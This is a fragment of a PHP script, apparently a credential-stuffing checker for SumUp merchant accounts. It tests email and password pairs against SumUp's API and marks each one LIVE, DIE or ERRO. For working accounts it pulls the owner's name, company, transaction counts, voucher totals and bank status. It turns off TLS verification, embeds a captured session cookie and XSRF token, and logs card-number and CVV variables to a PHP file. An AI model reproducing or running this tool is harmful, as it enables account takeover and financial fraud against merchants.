ERRO ' . $email . '|' . $senha . ' Retorno: CONTA SUSPENSA';
die();
}
$ch = curl_init();
global $c1, $c2, $c3, $c4, $super_proxy, $port, $username, $session, $password;
curl_setopt($ch, CURLOPT_URL, "https://api.sumup.com/v0.1/me/transactions/history?order=descending&limit=40&timezone=America%2FMontevideo");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/cookies/' . $xd . '.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/cookies/' . $xd . '.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Authorization: Bearer ' . $token . '', 'Content-Type: application/json; charset=UTF-8'));
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "GET");
$resposta1 = curl_exec($ch);
$pagamentossucesso = substr_count($resposta1, 'SUCCESSFUL');
$pagamentosfail = substr_count($resposta1, 'FAILED');
$pagamentostotal = substr_count($resposta1, 'transaction_id');
$ch = curl_init();
global $c1, $c2, $c3, $c4, $super_proxy, $port, $username, $session, $password;
curl_setopt($ch, CURLOPT_URL, "https://api.sumup.com/v0.1/me/mobile-payments/vouchers?limit=20&offset=0");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/cookies/' . $xd . '.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/cookies/' . $xd . '.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Authorization: Bearer ' . $token . '', 'Content-Type: application/json; charset=UTF-8'));
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "GET");
$resposta2 = curl_exec($ch);
$valetotal = getStr($resposta2, '"total":', ',"');
$ch = curl_init();
global $c1, $c2, $c3, $c4, $super_proxy, $port, $username, $session, $password;
curl_setopt($ch, CURLOPT_URL, 'https://me.sumup.com/api/v0.1/me/merchant-profile/bank-accounts');
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_ENCODING, "gzip");
curl_setopt($ch, CURLOPT_HTTPHEADER, array('referer: https://me.sumup.com/pt-br/account?prc=BF2020_TOP-s-BF2020_TOTAL-s-BF2020_ON','cookie: _gcl_au=1.1.434317206.1606788657; optimizely_experiment_user=f5263143-5326-4677-af81-03dd528061a6; _ga=GA1.2.1829942924.1606788657; _gid=GA1.2.898185138.1606788657; SumUp.did=s%3ATSo8vJ3ijscQminFMaGg2rQKRpzAbW91.cJ2mqeQOAVLT2zR2yPKK1JuhQHqucyTb1JywkplrkAE; _fbp=fb.1.1606788657889.886591387; _dyn_ses.23e3=*; optimizelyEndUserId=oeu1606788694581r0.5474950931625173; XSRF-TOKEN=da86f2316fb1f329; _uetsid=72f62390337a11eb9969cfe0170b23f1; _uetvid=72f67bf0337a11ebb576c93c8547ebd5; _tq_id.TV-81270972-1.efef=2c137fe6e3d619e0.1606788658.0.1606788760..; _dyn_id.23e3=dfc53702-05f0-5092-b8a7-3c5557381403.1606788658.1.1606788761.1606788658.7fb805f3-b4dc-47c2-a25b-235af9008035; XSRF-TOKEN-EXPIRES=1606790569537','x-xsrf-token: da86f2316fb1f329'));
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "GET");
curl_setopt($ch, CURLOPT_POSTFIELDS, '');
$answer5 = curl_exec($ch);
$bank = getstr($answer5, 'bank_name":"', '"');
if ($bank == 'SumUp Bank') {
$BANK1 = 'ATIVO';
} else {
$BANK1 = 'NÃO POSSUI';
}
if (strpos($answer, 'referral') !== false) {
$retorno = "#Aprovado - ";
echo 'LIVE ' . $email . '|' . $senha . ' Nome: ' . $nomepessoa . ' ' . $sobrenomepessoa . ' Empresa: ' . $nome . ' Pagamento pelo Celular: ' . $CELL . ' Leitor de Pagamento: ' . $leit . ' Vales Compra: ' . $valetotal . ' Sumup Bank: ' . $BANK1 . ' Pagamentos Aprovados: ' . $pagamentossucesso . ' Pagamentos Reprovados: ' . $pagamentosfail . ' Transações realizadas: ' . $pagamentostotal . ' ';
} elseif (strpos($answer, '403 For') !== false) {
$retorno = "#Reprovado - 403 Forbiden";
echo 'ERRO ' . $email . '|' . $senha . ' Retorno: Erro Ip';
$myFile = getcwd() . '/garibaldo.php';
$fh = fopen($myFile, 'x');
$hora = date("d/m/Y - H:i");
fwrite($fh, "Key: $key - $hora - | $retorno | $ccn | $ccm | $ccy | $cvv | $pais $coud $level $banco ($df)");
} elseif (strpos($answer, '403 For') !== false) {
$retorno = "Erro Ip";
echo 'ERRO ' . $email . '|' . $senha . ' Retorno: Erro Ip';
} else {
echo 'DIE ' . $email . '|' . $senha . ' Retorno: Email e Senha Incorretos';
}
die();